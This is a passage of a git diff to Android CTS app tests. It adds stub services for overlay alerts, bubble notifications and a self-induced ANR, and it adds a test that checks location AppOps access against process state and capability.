- public void onCreate(Bundle savedInstanceState) {
- super.onCreate(savedInstanceState);
- setContentView(R.layout.main);
- }
-}
-
diff --git a/tests/app/app/src/android/app/stubs/BubblesTestService.java b/tests/app/app/src/android/app/stubs/BubblesTestService.java
index 6ff579b..dbb9c22 100644
--- a/tests/app/app/src/android/app/stubs/BubblesTestService.java
+++ b/tests/app/app/src/android/app/stubs/BubblesTestService.java
@@ -59,7 +59,7 @@
}
private Notification getNotificationForTest(final int testCase, final Context context) {
- final Intent intent = new Intent(context, BubblesTestActivity.class);
+ final Intent intent = new Intent(context, SendBubbleActivity.class);
final PendingIntent pendingIntent =
PendingIntent.getActivity(getApplicationContext(), 0, intent, 0);
Notification.Builder nb = new Notification.Builder(context, NOTIFICATION_CHANNEL_ID)
diff --git a/tests/app/app/src/android/app/stubs/CommandReceiver.java b/tests/app/app/src/android/app/stubs/CommandReceiver.java
index bc2b4d4..96264a9 100644
--- a/tests/app/app/src/android/app/stubs/CommandReceiver.java
+++ b/tests/app/app/src/android/app/stubs/CommandReceiver.java
@@ -16,12 +16,12 @@
package android.app.stubs;
+import android.app.ActivityManager;
import android.content.BroadcastReceiver;
import android.content.ComponentName;
import android.content.Context;
import android.content.Intent;
import android.content.ServiceConnection;
-import android.content.pm.ServiceInfo;
import android.os.Binder;
import android.os.Bundle;
import android.os.IBinder;
@@ -40,12 +40,18 @@
public static final int COMMAND_STOP_FOREGROUND_SERVICE = 4;
public static final int COMMAND_START_FOREGROUND_SERVICE_LOCATION = 5;
public static final int COMMAND_STOP_FOREGROUND_SERVICE_LOCATION = 6;
+ public static final int COMMAND_START_ALERT_SERVICE = 7;
+ public static final int COMMAND_STOP_ALERT_SERVICE = 8;
+ public static final int COMMAND_SELF_INDUCED_ANR = 9;
public static final String EXTRA_COMMAND = "android.app.stubs.extra.COMMAND";
public static final String EXTRA_TARGET_PACKAGE = "android.app.stubs.extra.TARGET_PACKAGE";
public static final String EXTRA_FLAGS = "android.app.stubs.extra.FLAGS";
public static final String SERVICE_NAME = "android.app.stubs.LocalService";
+ public static final String FG_SERVICE_NAME = "android.app.stubs.LocalForegroundService";
+ public static final String FG_LOCATION_SERVICE_NAME =
+ "android.app.stubs.LocalForegroundServiceLocation";
private static ArrayMap<String,ServiceConnection> sServiceMap = new ArrayMap<>();
@@ -69,20 +75,25 @@
doUnbindService(context, intent);
break;
case COMMAND_START_FOREGROUND_SERVICE:
- doStartForegroundService(context, LocalForegroundService.class);
+ doStartForegroundService(context, intent);
break;
case COMMAND_STOP_FOREGROUND_SERVICE:
- doStopForegroundService(context, LocalForegroundService.class);
+ doStopForegroundService(context, intent, FG_SERVICE_NAME);
break;
case COMMAND_START_FOREGROUND_SERVICE_LOCATION:
- int type = intent.getIntExtra(
- LocalForegroundServiceLocation.EXTRA_FOREGROUND_SERVICE_TYPE,
- ServiceInfo.FOREGROUND_SERVICE_TYPE_MANIFEST);
- doStartForegroundServiceWithType(context, LocalForegroundServiceLocation.class,
- type);
+ doStartForegroundServiceWithType(context, intent);
break;
case COMMAND_STOP_FOREGROUND_SERVICE_LOCATION:
- doStopForegroundService(context, LocalForegroundServiceLocation.class);
+ doStopForegroundService(context, intent, FG_LOCATION_SERVICE_NAME);
+ break;
+ case COMMAND_START_ALERT_SERVICE:
+ doStartAlertService(context);
+ break;
+ case COMMAND_STOP_ALERT_SERVICE:
+ doStopAlertService(context);
+ break;
+ case COMMAND_SELF_INDUCED_ANR:
+ doSelfInducedAnr(context);
break;
}
}
@@ -95,35 +106,59 @@
bindIntent.setComponent(new ComponentName(targetPackage, SERVICE_NAME));
ServiceConnection connection = addServiceConnection(targetPackage);
+
context.bindService(bindIntent, connection, flags | Context.BIND_AUTO_CREATE);
}
private void doUnbindService(Context context, Intent commandIntent) {
String targetPackage = getTargetPackage(commandIntent);
- ServiceConnection connection = sServiceMap.remove(targetPackage);
- context.unbindService(connection);
+ context.unbindService(sServiceMap.remove(targetPackage));
}
- private void doStartForegroundService(Context context, Class cls) {
- Intent fgsIntent = new Intent(context, cls);
+ private void doStartForegroundService(Context context, Intent commandIntent) {
+ String targetPackage = getTargetPackage(commandIntent);
+ Intent fgsIntent = new Intent();
+ fgsIntent.setComponent(new ComponentName(targetPackage, FG_SERVICE_NAME));
int command = LocalForegroundService.COMMAND_START_FOREGROUND;
fgsIntent.putExtras(LocalForegroundService.newCommand(new Binder(), command));
context.startForegroundService(fgsIntent);
}
- private void doStartForegroundServiceWithType(Context context, Class cls, int type) {
- Intent fgsIntent = new Intent(context, cls);
+ private void doStartForegroundServiceWithType(Context context, Intent commandIntent) {
+ String targetPackage = getTargetPackage(commandIntent);
+ Intent fgsIntent = new Intent();
+ fgsIntent.putExtras(commandIntent); // include the fg service type if any.
+ fgsIntent.setComponent(new ComponentName(targetPackage, FG_LOCATION_SERVICE_NAME));
int command = LocalForegroundServiceLocation.COMMAND_START_FOREGROUND_WITH_TYPE;
fgsIntent.putExtras(LocalForegroundService.newCommand(new Binder(), command));
- fgsIntent.putExtra(LocalForegroundServiceLocation.EXTRA_FOREGROUND_SERVICE_TYPE, type);
context.startForegroundService(fgsIntent);
}
- private void doStopForegroundService(Context context, Class cls) {
- Intent fgsIntent = new Intent(context, cls);
+ private void doStopForegroundService(Context context, Intent commandIntent,
+ String serviceName) {
+ String targetPackage = getTargetPackage(commandIntent);
+ Intent fgsIntent = new Intent();
+ fgsIntent.setComponent(new ComponentName(targetPackage, serviceName));
context.stopService(fgsIntent);
}
+ private void doStartAlertService(Context context) {
+ Intent intent = new Intent(context, LocalAlertService.class);
+ intent.setAction(LocalAlertService.COMMAND_SHOW_ALERT);
+ context.startService(intent);
+ }
+
+ private void doStopAlertService(Context context) {
+ Intent intent = new Intent(context, LocalAlertService.class);
+ intent.setAction(LocalAlertService.COMMAND_HIDE_ALERT);
+ context.startService(intent);
+ }
+
+ private void doSelfInducedAnr(Context context) {
+ ActivityManager am = context.getSystemService(ActivityManager.class);
+ am.appNotResponding("CTS - self induced");
+ }
+
private String getTargetPackage(Intent intent) {
return intent.getStringExtra(EXTRA_TARGET_PACKAGE);
}
diff --git a/tests/app/app/src/android/app/stubs/LocalAlertService.java b/tests/app/app/src/android/app/stubs/LocalAlertService.java
new file mode 100644
index 0000000..52dbc58
--- /dev/null
+++ b/tests/app/app/src/android/app/stubs/LocalAlertService.java
@@ -0,0 +1,84 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package android.app.stubs;
+
+import android.app.Service;
+import android.content.Intent;
+import android.graphics.Color;
+import android.graphics.Point;
+import android.os.Bundle;
+import android.os.IBinder;
+import android.util.Log;
+import android.view.View;
+import android.view.WindowManager;
+import android.widget.TextView;
+
+import static android.view.Gravity.LEFT;
+import static android.view.Gravity.TOP;
+import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION_OVERLAY;
+import static android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+import static android.view.WindowManager.LayoutParams.FLAG_NOT_TOUCHABLE;
+import static android.view.WindowManager.LayoutParams.FLAG_WATCH_OUTSIDE_TOUCH;
+
+public class LocalAlertService extends Service {
+ public static final String COMMAND_SHOW_ALERT = "show";
+ public static final String COMMAND_HIDE_ALERT = "hide";
+
+ private static View mAlertWindow = null;
+
+ @Override
+ public int onStartCommand(Intent intent, int flags, int startId) {
+ String action = intent.getAction();
+
+ if (COMMAND_SHOW_ALERT.equals(action)) {
+ mAlertWindow = showAlertWindow(getPackageName());
+ } else if (COMMAND_HIDE_ALERT.equals(action)) {
+ hideAlertWindow(mAlertWindow);
+ mAlertWindow = null;
+ }
+ return START_NOT_STICKY;
+ }
+
+ @Override
+ public IBinder onBind(Intent intent) {
+ return null;
+ }
+
+ private View showAlertWindow(String windowName) {
+ final Point size = new Point();
+ final WindowManager wm = getSystemService(WindowManager.class);
+ wm.getDefaultDisplay().getSize(size);
+
+ WindowManager.LayoutParams params = new WindowManager.LayoutParams(
+ TYPE_APPLICATION_OVERLAY, FLAG_NOT_FOCUSABLE | FLAG_WATCH_OUTSIDE_TOUCH |
+ FLAG_NOT_TOUCHABLE);
+ params.width = size.x / 3;
+ params.height = size.y / 3;
+ params.gravity = TOP | LEFT;
+ params.setTitle(windowName);
+
+ final TextView view = new TextView(this);
+ view.setText(windowName);
+ view.setBackgroundColor(Color.RED);
+ wm.addView(view, params);
+ return view;
+ }
+
+ private void hideAlertWindow(View window) {
+ final WindowManager wm = getSystemService(WindowManager.class);
+ wm.removeViewImmediate(window);
+ }
+}
diff --git a/tests/app/app/src/android/app/stubs/PipActivity.java b/tests/app/app/src/android/app/stubs/PipActivity.java
deleted file mode 100644
index 6f53e9f..0000000
--- a/tests/app/app/src/android/app/stubs/PipActivity.java
+++ /dev/null
@@ -1,59 +0,0 @@
-/*
- * Copyright (C) 2015 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.app.stubs;
-
-import android.app.Activity;
-import android.content.res.Configuration;
-
-public class PipActivity extends Activity {
-
- private int mMultiWindowChangedCount;
- private int mPictureInPictureModeChangedCount;
- private boolean mLastReporterMultiWindowMode;
- private boolean mLastReporterPictureInPictureMode;
-
- @Override
- public void onMultiWindowModeChanged(boolean isInMultiWindowMode, Configuration newConfig) {
- super.onMultiWindowModeChanged(isInMultiWindowMode, newConfig);
- mLastReporterMultiWindowMode = isInMultiWindowMode;
- mMultiWindowChangedCount++;
- }
-
- @Override
- public void onPictureInPictureModeChanged(boolean isInPictureInPictureMode,
- Configuration newConfig) {
- super.onPictureInPictureModeChanged(isInPictureInPictureMode, newConfig);
- mLastReporterPictureInPictureMode = isInPictureInPictureMode;
- mPictureInPictureModeChangedCount++;
- }
-
- public boolean getLastReportedMultiWindowMode() {
- return mLastReporterMultiWindowMode;
- }
-
- public boolean getLastReporterPictureInPictureMode() {
- return mLastReporterPictureInPictureMode;
- }
-
- public int getMultiWindowChangedCount() {
- return mMultiWindowChangedCount;
- }
-
- public int getPictureInPictureModeChangedCount() {
- return mPictureInPictureModeChangedCount;
- }
-}
diff --git a/tests/app/app/src/android/app/stubs/SendBubbleActivity.java b/tests/app/app/src/android/app/stubs/SendBubbleActivity.java
new file mode 100644
index 0000000..e02e333
--- /dev/null
+++ b/tests/app/app/src/android/app/stubs/SendBubbleActivity.java
@@ -0,0 +1,114 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.app.stubs;
+
+import android.app.Activity;
+import android.app.Notification;
+import android.app.NotificationManager;
+import android.app.PendingIntent;
+import android.content.Context;
+import android.content.Intent;
+import android.graphics.drawable.Icon;
+import android.os.Bundle;
+import android.util.Log;
+
+/**
+ * Used by NotificationManagerTest for testing policy around bubbles, this activity is able to
+ * send a bubble.
+ */
+public class SendBubbleActivity extends Activity {
+ final String TAG = SendBubbleActivity.class.getSimpleName();
+
+ // Should be same as wht NotificationManagerTest is using
+ private static final String NOTIFICATION_CHANNEL_ID = "NotificationManagerTest";
+
+ public static final String BUBBLE_ACTIVITY_OPENED =
+ "android.app.stubs.BUBBLE_ACTIVITY_OPENED";
+ public static final int BUBBLE_NOTIF_ID = 1;
+
+ private volatile boolean mIsStopped;
+
+ @Override
+ public void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.main);
+
+ Intent i = new Intent(BUBBLE_ACTIVITY_OPENED);
+ sendBroadcast(i);
+ }
+
+ /**
+ * Sends a bubble notification that would only be allowed to bubble when the app is
+ * foreground.
+ */
+ public void sendBubble(int i, boolean autoExpand) {
+ Context context = getApplicationContext();
+
+ final Intent intent = new Intent(context, BubbledActivity.class);
+ intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK | Intent.FLAG_ACTIVITY_SINGLE_TOP
+ | Intent.FLAG_ACTIVITY_CLEAR_TOP);
+ intent.setAction(Intent.ACTION_MAIN);
+ final PendingIntent pendingIntent =
+ PendingIntent.getActivity(context, 0, intent, 0);
+
+ Notification.BubbleMetadata data = new Notification.BubbleMetadata.Builder()
+ .setIcon(Icon.createWithResource(context, R.drawable.black))
+ .setIntent(pendingIntent)
+ .setAutoExpandBubble(autoExpand)
+ .build();
+ Notification n = new Notification.Builder(context, NOTIFICATION_CHANNEL_ID)
+ .setSmallIcon(R.drawable.black)
+ .setWhen(System.currentTimeMillis())
+ .setContentTitle("notify#" + BUBBLE_NOTIF_ID)
+ .setContentText("This is #" + BUBBLE_NOTIF_ID + "notification ")
+ .setContentIntent(pendingIntent)
+ .setBubbleMetadata(data)
+ .build();
+
+ NotificationManager noMan = (NotificationManager) context.getSystemService(
+ Context.NOTIFICATION_SERVICE);
+ noMan.notify(BUBBLE_NOTIF_ID, n);
+ Log.d(TAG, "posting bubble: " + n + ", " + i);
+ }
+
+ /** Waits for the activity to be stopped. Do not call this method on main thread. */
+ public void waitForStopped() {
+ synchronized (this) {
+ while (!mIsStopped) {
+ try {
+ wait(5000 /* timeout */);
+ } catch (InterruptedException ignored) {
+ }
+ }
+ }
+ }
+
+ @Override
+ protected void onStart() {
+ super.onStart();
+ mIsStopped = false;
+ }
+
+ @Override
+ protected void onStop() {
+ super.onStop();
+ synchronized (this) {
+ mIsStopped = true;
+ notifyAll();
+ }
+ }
+}
diff --git a/tests/app/app/src/android/app/stubs/TestTileService.java b/tests/app/app/src/android/app/stubs/TestTileService.java
index 51a7a2c..c50ecc5 100644
--- a/tests/app/app/src/android/app/stubs/TestTileService.java
+++ b/tests/app/app/src/android/app/stubs/TestTileService.java
@@ -29,7 +29,7 @@
public static final String PKG = "android.app.stubs";
public static final int ICON_ID = R.drawable.robot;
- private static TestTileService sTestTileService = null;
+ protected static TestTileService sTestTileService = null;
AtomicBoolean isConnected = new AtomicBoolean(false);
AtomicBoolean isListening = new AtomicBoolean(false);
AtomicBoolean hasBeenClicked = new AtomicBoolean(false);
diff --git a/tests/app/src/android/app/cts/ActivityCallbacksTest.java b/tests/app/src/android/app/cts/ActivityCallbacksTest.java
index 1d4e76a..6a5d1a1 100644
--- a/tests/app/src/android/app/cts/ActivityCallbacksTest.java
+++ b/tests/app/src/android/app/cts/ActivityCallbacksTest.java
@@ -92,54 +92,63 @@
@Override
public void onActivityPreCreated(Activity activity, Bundle savedInstanceState) {
+ if (!wanted(activity)) return;
ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_PRE_CREATE);
}
@Override
public void onActivityCreated(Activity activity, Bundle savedInstanceState) {
+ if (!wanted(activity)) return;
ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_CREATE);
}
@Override
public void onActivityPostCreated(Activity activity, Bundle savedInstanceState) {
+ if (!wanted(activity)) return;
ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_POST_CREATE);
}
@Override
public void onActivityPreStarted(Activity activity) {
+ if (!wanted(activity)) return;
ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_PRE_START);
}
@Override
public void onActivityStarted(Activity activity) {
+ if (!wanted(activity)) return;
ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_START);
}
@Override
public void onActivityPostStarted(Activity activity) {
+ if (!wanted(activity)) return;
ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_POST_START);
}
@Override
public void onActivityPreResumed(Activity activity) {
+ if (!wanted(activity)) return;
ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_PRE_RESUME);
}
@Override
public void onActivityResumed(Activity activity) {
+ if (!wanted(activity)) return;
ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_RESUME);
}
@Override
public void onActivityPostResumed(Activity activity) {
+ if (!wanted(activity)) return;
ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_POST_RESUME);
a.finish();
@@ -147,36 +156,42 @@
@Override
public void onActivityPrePaused(Activity activity) {
+ if (!wanted(activity)) return;
ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_PRE_PAUSE);
}
@Override
public void onActivityPaused(Activity activity) {
+ if (!wanted(activity)) return;
ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_PAUSE);
}
@Override
public void onActivityPostPaused(Activity activity) {
+ if (!wanted(activity)) return;
ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_POST_PAUSE);
}
@Override
public void onActivityPreStopped(Activity activity) {
+ if (!wanted(activity)) return;
ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_PRE_STOP);
}
@Override
public void onActivityStopped(Activity activity) {
+ if (!wanted(activity)) return;
ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_STOP);
}
@Override
public void onActivityPostStopped(Activity activity) {
+ if (!wanted(activity)) return;
ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_POST_STOP);
}
@@ -188,18 +203,21 @@
@Override
public void onActivityPreDestroyed(Activity activity) {
+ if (!wanted(activity)) return;
ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_PRE_DESTROY);
}
@Override
public void onActivityDestroyed(Activity activity) {
+ if (!wanted(activity)) return;
ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_DESTROY);
}
@Override
public void onActivityPostDestroyed(Activity activity) {
+ if (!wanted(activity)) return;
ActivityCallbacksTestActivity a = (ActivityCallbacksTestActivity) activity;
a.collectEvent(Source.APPLICATION_ACTIVITY_CALLBACK, ON_POST_DESTROY);
actualEvents.addAll(a.getCollectedEvents());
@@ -256,4 +274,8 @@
}
expectedEvents.add(new Pair<>(Source.APPLICATION_ACTIVITY_CALLBACK, postEvent));
}
+
+ private boolean wanted(Activity activity) {
+ return activity instanceof ActivityCallbacksTestActivity;
+ }
}
diff --git a/tests/app/src/android/app/cts/ActivityManagerApi29Test.java b/tests/app/src/android/app/cts/ActivityManagerApi29Test.java
new file mode 100644
index 0000000..4c56d1c
--- /dev/null
+++ b/tests/app/src/android/app/cts/ActivityManagerApi29Test.java
@@ -0,0 +1,252 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.app.cts;
+
+import static android.Manifest.permission.ACCESS_COARSE_LOCATION;
+import static android.app.ActivityManager.PROCESS_CAPABILITY_ALL;
+import static android.app.ActivityManager.PROCESS_CAPABILITY_FOREGROUND_LOCATION;
+import static android.app.ActivityManager.PROCESS_CAPABILITY_NONE;
+import static android.app.AppOpsManager.OP_FLAGS_ALL;
+import static android.app.AppOpsManager.UID_STATE_FOREGROUND_SERVICE;
+
+import static com.android.compatibility.common.util.SystemUtil.callWithShellPermissionIdentity;
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import static org.junit.Assert.assertEquals;
+
+import android.app.AppOpsManager;
+import android.app.AppOpsManager.HistoricalOp;
+import android.app.AppOpsManager.HistoricalOps;
+import android.app.AppOpsManager.HistoricalOpsRequest;
+import android.app.Instrumentation;
+import android.app.cts.android.app.cts.tools.WatchUidRunner;
+import android.content.Context;
+import android.content.Intent;
+import android.content.pm.PackageManager.NameNotFoundException;
+import android.permission.cts.PermissionUtils;
+import android.provider.DeviceConfig;
+import android.provider.Settings;
+
+import androidx.test.InstrumentationRegistry;
+import androidx.test.runner.AndroidJUnit4;
+
+import java.time.Instant;
+import java.time.temporal.ChronoUnit;
+import java.util.Arrays;
+import java.util.concurrent.CompletableFuture;
+import java.util.concurrent.TimeUnit;
+
+import org.junit.After;
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * AppOpsManager.MODE_FOREGROUND is introduced in API level 29. This test class specifically tests
+ * ActivityManagerService's interaction with AppOpsService regarding MODE_FOREGROUND operation.
+ * If an operation's mode is MODE_FOREGROUND, this operation is allowed only when the process is in
+ * one of the foreground state (including foreground_service state), this operation will be denied
+ * when the process is in background state.
+ */
+@RunWith(AndroidJUnit4.class)
+public class ActivityManagerApi29Test {
+ private static final String PACKAGE_NAME = "android.app.cts.activitymanager.api29";
+ private static final String SIMPLE_ACTIVITY = ".SimpleActivity";
+ private static final String SERVICE_NAME = ".LocationForegroundService";
+ private static final String PROPERTY_PERMISSIONS_HUB_ENABLED = "permissions_hub_enabled";
+ private static final int WAITFOR_MSEC = 10000;
+ private static final int NOTEOP_COUNT = 5;
+ private static Instrumentation sInstrumentation = InstrumentationRegistry.getInstrumentation();
+ private static Context sContext = sInstrumentation.getContext();
+ private static AppOpsManager sAppOps =
+ (AppOpsManager) sContext.getSystemService(AppOpsManager.class);
+ private static Intent sServiceIntent = new Intent().setClassName(
+ PACKAGE_NAME, PACKAGE_NAME + SERVICE_NAME);
+ private static int sUid;
+ static {
+ try {
+ sUid = sContext.getPackageManager().getApplicationInfo(PACKAGE_NAME, 0).uid;
+ } catch (NameNotFoundException e) {
+ throw new RuntimeException("NameNotFoundException:" + e);
+ }
+ }
+
+ private String mOldAppOpsSettings;
+ private boolean mWasPermissionsHubEnabled = false;
+ private WatchUidRunner mUidWatcher;
+
+ @Before
+ public void setUp() throws Exception {
+ CtsAppTestUtils.turnScreenOn(sInstrumentation, sContext);
+ // PACKAGE_NAME's targetSdkVersion is 29, when ACCESS_COARSE_LOCATION is granted, appOp is
+ // MODE_FOREGROUND (In API level lower than 29, appOp is MODE_ALLOWED).
+ assertEquals(AppOpsManager.MODE_FOREGROUND,
+ PermissionUtils.getAppOp(PACKAGE_NAME, ACCESS_COARSE_LOCATION));
+ runWithShellPermissionIdentity(()-> {
+ mOldAppOpsSettings = Settings.Global.getString(sContext.getContentResolver(),
+ Settings.Global.APP_OPS_CONSTANTS);
+ Settings.Global.putString(sContext.getContentResolver(),
+ Settings.Global.APP_OPS_CONSTANTS,
+ "top_state_settle_time=0,fg_service_state_settle_time=0,"
+ + "bg_state_settle_time=0");
+ mWasPermissionsHubEnabled = DeviceConfig.getBoolean(DeviceConfig.NAMESPACE_PRIVACY,
+ PROPERTY_PERMISSIONS_HUB_ENABLED, false);
+ DeviceConfig.setProperty(DeviceConfig.NAMESPACE_PRIVACY,
+ PROPERTY_PERMISSIONS_HUB_ENABLED, Boolean.toString(true), false);
+ sAppOps.clearHistory();
+ sAppOps.resetHistoryParameters(); }
+ );
+ mUidWatcher = new WatchUidRunner(sInstrumentation, sUid, WAITFOR_MSEC);
+ }
+
+ @After
+ public void tearDown() {
+ runWithShellPermissionIdentity(() -> {
+ // restore old AppOps settings.
+ Settings.Global.putString(sContext.getContentResolver(),
+ Settings.Global.APP_OPS_CONSTANTS, mOldAppOpsSettings);
+ DeviceConfig.setProperty(DeviceConfig.NAMESPACE_PRIVACY,
+ PROPERTY_PERMISSIONS_HUB_ENABLED, Boolean.toString(mWasPermissionsHubEnabled),
+ false);
+ sAppOps.clearHistory();
+ sAppOps.resetHistoryParameters(); }
+ );
+ mUidWatcher.finish();
+ }
+
+ /**
+ * This tests app in PROCESS_STATE_TOP state can have location access.
+ * The app's permission is AppOpsManager.MODE_FOREGROUND. If the process is in PROCESS_STATE_TOP
+ * , even its capability is zero, it still has location access.
+ * @throws Exception
+ */
+ @Test
+ public void testTopActivityWithAppOps() throws Exception {
+ Intent intent = new Intent(Intent.ACTION_MAIN);
+ intent.setClassName(PACKAGE_NAME, PACKAGE_NAME + SIMPLE_ACTIVITY);
+ intent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+ sContext.startActivity(intent);
+ // TOP process has all capabilities.
+ mUidWatcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_TOP,
+ new Integer(PROCESS_CAPABILITY_ALL));
+
+ // AppOps location access should be allowed.
+ assertEquals(AppOpsManager.MODE_ALLOWED, noteOp());
+
+ // Tell the activity to finalize.
+ intent.addFlags(Intent.FLAG_ACTIVITY_SINGLE_TOP);
+ intent.putExtra("finish", true);
+ sContext.startActivity(intent);
+ mUidWatcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_RECENT,
+ new Integer(PROCESS_CAPABILITY_NONE));
+
+ // AppOps location access should be denied.
+ assertEquals(AppOpsManager.MODE_IGNORED, noteOp());
+ }
+
+ /**
+ * When ActivityManagerService process states and capability changes, it updates AppOpsService.
+ * This test starts a foreground service with location type, it updates AppOpsService with
+ * PROCESS_STATE_FOREGROUND_SERVICE and PROCESS_CAPABILITY_FOREGROUND_LOCATION, then check if
+ * AppOpsManager allow ACCESS_COARSE_LOCATION of MODE_FOREGROUND.
+ *
+ * The "android.app.cts.activitymanager.api29" package's targetSdkVersion is 29.
+ * @throws Exception
+ */
+ @Test
+ public void testFgsLocationWithAppOps() throws Exception {
+ // Start a foreground service with location
+ sContext.startForegroundService(sServiceIntent);
+ // Wait for state and capability change.
+ mUidWatcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE,
+ new Integer(PROCESS_CAPABILITY_FOREGROUND_LOCATION));
+
+ // AppOps location access should be allowed.
+ assertEquals(AppOpsManager.MODE_ALLOWED, noteOp());
+
+ // Stop the foreground service.
+ sContext.stopService(sServiceIntent);
+ // Wait for proc state and capability change.
+ mUidWatcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY,
+ new Integer(PROCESS_CAPABILITY_NONE));
+
+ // AppOps location access should be denied.
+ assertEquals(AppOpsManager.MODE_IGNORED, noteOp());
+ }
+
+ /**
+ * After calling AppOpsManager.noteOp() interface multiple times in different process states,
+ * this test calls AppOpsManager.getHistoricalOps() and check the access count and reject count
+ * in HistoricalOps.
+ *
+ * @throws Exception
+ */
+ @Test
+ public void testAppOpsHistoricalOps() throws Exception {
+ // Start a foreground service with location
+ sContext.startForegroundService(sServiceIntent);
+ // Wait for state and capability change.
+ mUidWatcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_FG_SERVICE,
+ new Integer(PROCESS_CAPABILITY_FOREGROUND_LOCATION));
+
+ runWithShellPermissionIdentity(
+ () -> sAppOps.setHistoryParameters(AppOpsManager.HISTORICAL_MODE_ENABLED_ACTIVE,
+ 1000, 10)
+ );
+ for (int i = 0; i < NOTEOP_COUNT; i++) {
+ noteOp();
+ }
+
+ // Stop the foreground service.
+ sContext.stopService(sServiceIntent);
+ // Wait for proc state and capability change.
+ mUidWatcher.waitFor(WatchUidRunner.CMD_PROCSTATE, WatchUidRunner.STATE_CACHED_EMPTY,
+ new Integer(PROCESS_CAPABILITY_NONE));
+
+ for (int i = 0; i < NOTEOP_COUNT; i++) {
+ noteOp();
+ }
+ runWithShellPermissionIdentity(() -> {
+ CompletableFuture<HistoricalOps> ops = new CompletableFuture<>();
+ HistoricalOpsRequest histOpsRequest = new HistoricalOpsRequest.Builder(
+ Instant.now().minus(1, ChronoUnit.HOURS).toEpochMilli(),
+ Long.MAX_VALUE)
+ .setUid(sUid)
+ .setPackageName(PACKAGE_NAME)
